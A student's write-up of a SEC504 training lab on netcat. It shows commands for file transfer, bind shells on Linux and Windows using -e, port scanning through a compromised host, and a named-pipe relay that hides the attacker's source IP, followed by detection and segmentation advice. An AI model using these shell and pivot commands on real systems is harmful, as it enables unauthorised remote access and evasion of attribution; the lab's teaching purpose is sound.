SEC504 - Hacker Tools, Techniques, and Incident Handling

Netcat for Data Transfer, Shells, and Pivot Relays

Solo, Lab

Focus: Network Security

Level: SEC504

Date: Jun 2026

Artifacts: Sanitized netcat session output across Linux and Windows hosts from the SEC504 lab, including a named-pipe relay pivot

TL;DR

•One netcat binary handled chat, two-way file transfer, and bind shells on both Linux and Windows
•A named-pipe relay (mkfifo + two nc processes) pivoted through a compromised host to an unreachable target
•The target's access log recorded the pivot's IP, not the attacker's: the relay launders the source address

Skills demonstrated

netcat listener/client fundamentals (-l, -p)Bidirectional file transfer over netcatBind shells with -e on Linux and WindowsNamed-pipe (FIFO) bidirectional relaysPivoting and source-IP obfuscation

Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.

Why this matters

Netcat is on nearly every host and blends into normal traffic, which is why it shows up in real intrusions for exactly these tasks. The relay is the part defenders underestimate: a compromised host becomes a transparent proxy, so the target logs the pivot's address and the attacker's real source never appears. Understanding the named-pipe trick is what lets an analyst read a proxied-connection log correctly instead of chasing the wrong IP.

Context

This lab exercises netcat across every mode that matters in an intrusion: chat, file transfer in both directions, bind shells on Linux and Windows, and a bidirectional relay that pivots through a compromised host to reach a network the attacker cannot touch directly. The through-line is that one small binary is a Swiss-army knife for moving data and access once you have a foothold.

Tools used

netcat (traditional)PowerShellmkfifocurlSlingshot LinuxWindows 10

Steps taken

1Listener/client chat

The simplest netcat use: a listener on one host (nc -l -p 2222) and a client connecting to it from the other. Whatever one side types, the other sees. This confirms bidirectional connectivity and is the mental model for every mode that follows.

$ # Linux listener
$ nc -l -p 2222
$ # Windows client
$ nc 10.10.75.1 2222

-llisten mode

-pport; same syntax on both OSes

2File transfer, both directions

Windows to Linux: pipe a file into a listener (Get-Content .\text.txt | nc -l -p 1234) and redirect it out on the receiver (nc 10.10.0.1 1234 > received.txt). Then the reverse, with Out-File on the Windows side. netcat is a file-transfer tool as much as a shell tool.

$ # Win: Get-Content .\text.txt | nc -l -p 1234
$ # Linux: nc 10.10.0.1 1234 > received.txt
$ # Linux: cat file.txt | nc 10.10.0.1 4321
$ # Win: nc -l -p 4321 | Out-File received2.txt

Sender pipes in, receiver redirects out; works either direction

3Bind shell on Linux

nc -l -p 7777 -e /bin/sh binds a shell to a listener; the Windows client connects and runs commands on the Linux host. whoami/id confirmed the sec504 user and its group memberships (docker, sudo, and others worth noting for privilege escalation).

$ # Linux: nc -l -p 7777 -e /bin/sh
$ # Windows: nc 10.10.75.1 7777
$ whoami; id; pwd

-e /bin/shbind a shell to the connection

4Bind shell on Windows

The same pattern in reverse: nc <ip> 8888 -e cmd.exe on Windows, listener on Linux. Confirmed the host (Sec504Student, Windows 10.0.19044) and dropped into C:\WINDOWS\system32. netcat gives a shell on either operating system with the same two commands.

$ # Windows: nc 10.10.75.1 8888 -e cmd.exe
$ # Linux: nc -l -p 8888
$ echo %username%; hostname; dir

-e cmd.exebind the Windows shell

5Port-check through a pivot

The attacker's -z scan of 172.30.0.55:80 timed out (no direct route), but from the compromised pivot host at 172.30.0.50 the same scan reported the port open. This establishes that the pivot can reach the target the attacker cannot.

$ # attacker (fails):
$ nc -vvv -z -w3 172.30.0.55 80
$ # pivot (succeeds):
$ nc -vvv -z -w3 172.30.0.55 80

-zzero-I/O port scan

-w33s timeout

-vvvverbose

6Named-pipe relay and log confirmation

On the pivot, a FIFO makes the relay bidirectional: nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe. The attacker then curls http://172.30.0.50:8080 and gets the target's page (a CTF password). Critically, the target's access log records 172.30.0.50 (the pivot) as the client, not the attacker. The relay launders the source IP.

$ mkfifo namedpipe
$ nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe
$ # attacker:
$ curl http://172.30.0.50:8080

FIFO carries the response back into the first nc, making the relay two-way

Key findings

netcat handled chat, file transfer both ways, and bind shells on Linux and Windows with the same primitives

A named-pipe relay turned a compromised host into a transparent proxy to an unreachable target

The target access log recorded the pivot IP (172.30.0.50), not the attacker's

-z -w3 through the pivot confirmed reachability the attacker lacked directly

Outcome / Lessons learned

Exercised netcat end to end: chat, two-way file transfer, bind shells on Linux and Windows, and a named-pipe relay that pivoted through a compromised host to reach an otherwise-unreachable target. The target's log showed the pivot's IP, demonstrating how a relay hides the attacker's true source.

Alert on netcat-style behavior rather than the binary name: outbound connections from server processes, shells spawned by network listeners, and long-lived connections between internal hosts that normally do not talk. Segment networks so a single compromised host cannot relay into sensitive ranges, and treat any host that suddenly proxies traffic (source IP in a target log that does not match the real client) as compromised. Correlate logs across hops so a laundered source IP can be traced back through the pivot.

Security controls relevant

Egress filtering and detection of shells spawned by listeners
Network segmentation to limit pivot reach
Cross-host log correlation to defeat source-IP laundering
EDR detection of -e shell behavior and FIFO relays

What I took away from this

The relay is the lesson defenders miss. Once a host is compromised, two netcat processes and a FIFO turn it into a proxy, and the target logs the pivot's address as the client. An analyst who trusts the source IP in that log will investigate the wrong machine entirely. Reading proxied traffic correctly means correlating across hops, not trusting a single log's idea of who connected.

netcat earns its reputation because it is small, everywhere, and dual-use. Every mode here (transfer, shell, relay) is also a legitimate admin task, so signature-based detection on the binary is weak. The durable detections are behavioral: a service process opening an outbound connection, a shell whose parent is a network listener, or an internal host that suddenly starts relaying traffic it never handled before.